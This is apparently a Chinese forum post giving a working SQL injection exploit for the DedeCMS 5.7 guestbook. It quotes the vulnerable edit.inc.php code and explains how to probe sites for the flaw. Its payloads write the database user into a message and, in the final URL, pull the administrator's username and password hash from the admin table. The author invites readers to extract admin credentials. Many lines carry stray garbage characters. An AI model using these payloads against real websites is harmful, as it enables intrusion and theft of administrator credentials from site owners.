dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
% S2 ~% @- c7 @! u! ~
$ N+ t, `' E- f' ?; t漏洞文件edit.inc.php具体代码：
* [& h3 k& W5 L) v" Z( I
< ?php  

( ?. `( a( I$ u# c% y* Vif(!defined('DEDEINC')) exit('Request Error!');  
- K& U) x& a. e: H& f2 s; a5 y  P
0 J1 i- R* T( P# j% }   
: C  j5 L) O+ O. z6 Y
4 o) W8 N- r' {1 E8 H) {. {if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

8 ]# V+ Z" Y- m7 w6 Felse $GUEST_BOOK_POS = "guestbook.php";  

   

: {5 ?; D* z) h: z$id = intval($id);  
' Y4 @: A; L2 f  x
6 I# y( S  u! q" l5 b: `if(empty($job)) $job='view';  

$ F3 L! }0 y* {, r" I" t   
/ z* Q0 f1 L' ]1 U5 `# g* g
# o- b- M) g& S# rif($job=='del' && $g_isadmin)  
  d' {7 y$ C& e; Z$ a* b6 m
{  

7 X, z9 V: T# Z4 }  k& T$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

exit();  

}  
) b! C4 y4 G" a& N% \, c4 i0 b& Y
else if($job=='check' && $g_isadmin)  

{  
% k* A/ |- a- a) _
" u+ u! p( g# V+ R( `& L5 Z& v1 @; D$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
  Q* `/ Y6 H2 F. }3 }, k! j
. Z1 A7 J8 l. w' gShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
1 z) ?0 Z6 z& A( W' y- _6 n
7 o! a# r' o/ c' Xexit();  
9 w2 {  d5 z4 w0 Y* B) X
1 V+ C0 f: K$ X; d& K0 W}  
3 }! ]1 j* o, L& C
else if($job=='editok')  

/ G3 N8 |& |) d* f% a+ ]7 y{  
/ Q( o: Y0 k, c3 R- y) q
$remsg = trim($remsg);  
2 z/ @: j3 H8 s; ?5 t( ^
if($remsg!='')  
8 [1 X$ d7 \# F+ e$ Q
  t# N# o) `, F% x3 z0 n, b{  
  y' R0 ~, @3 F% @+ {
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
6 }+ W. N; e! g" x
5 ]' r6 e/ ^% b1 v) L% Qif($g_isadmin)  
5 Z: t( ?6 k9 U# I9 b
{  
! O! G! K9 l: ~8 ]6 S
9 c  u' F- V* U) P/ S$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  

else

{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
1 f, K) M% g+ O5 E
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

' f( K' f& F% z' q0 r- ~4 z* X2 D$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
: |' P* H* _6 S7 }; ?3 }
$msg = $oldmsg.$remsg;  

( o. U" `6 S& S3 E3 v}  

}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
+ q: W& Q7 o4 d. V4 \+ i
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
0 I9 }$ h2 b' Q# r. V3 r- A
exit();  
% O8 p! ~) h/ }( h' L+ C# P$ [1 |# Z; y
6 h1 P7 s- J# Q" a9 y+ M, U}  

( \8 Z! U0 w5 `& x//home:www.errs.cc  

if($g_isadmin)  
* ?0 B. t% l8 t5 l, \/ r
8 A' r4 p# ^7 p7 S{  
2 n; T4 \; R; I9 m
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
3 Q5 M1 p! v2 E: \. T# R" [2 \+ X: U
8 ?- P  q; C/ q( Qrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

}  
' l5 z+ n4 u2 T  E" g" W
6 o/ x' ]) p- A! Melse
9 W: N! W5 ~+ y% m  j
( X+ R8 m1 g% Z' ]  P- K7 @{  

. J1 d1 ]4 k% P* s! @! f$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
% e  G- x" l) j, e- j, Y$ u
: g; y! A) x$ I0 [! `2 trequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

4 U0 h8 y7 {% K& |3 J$ P* b} 漏洞成功需要条件：
" r+ s9 _' H8 c+ T% s$ {1 {3 p1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞：
& P/ N% U) _* M先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
3 U3 T' y3 m' J, w2 R7 M! U! ^访问：

$ F% g' Z' V/ N* wwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
) ]) T7 |; E1 T& q5 ]( u跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证


明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
7 A/ F& o1 F1 J& z. e/ l那么再次访问

www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
  Y. W/ k  `9 G. Q0 Y3 _- F
大概利用就是这样，大家有兴趣的多研究下！！

最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='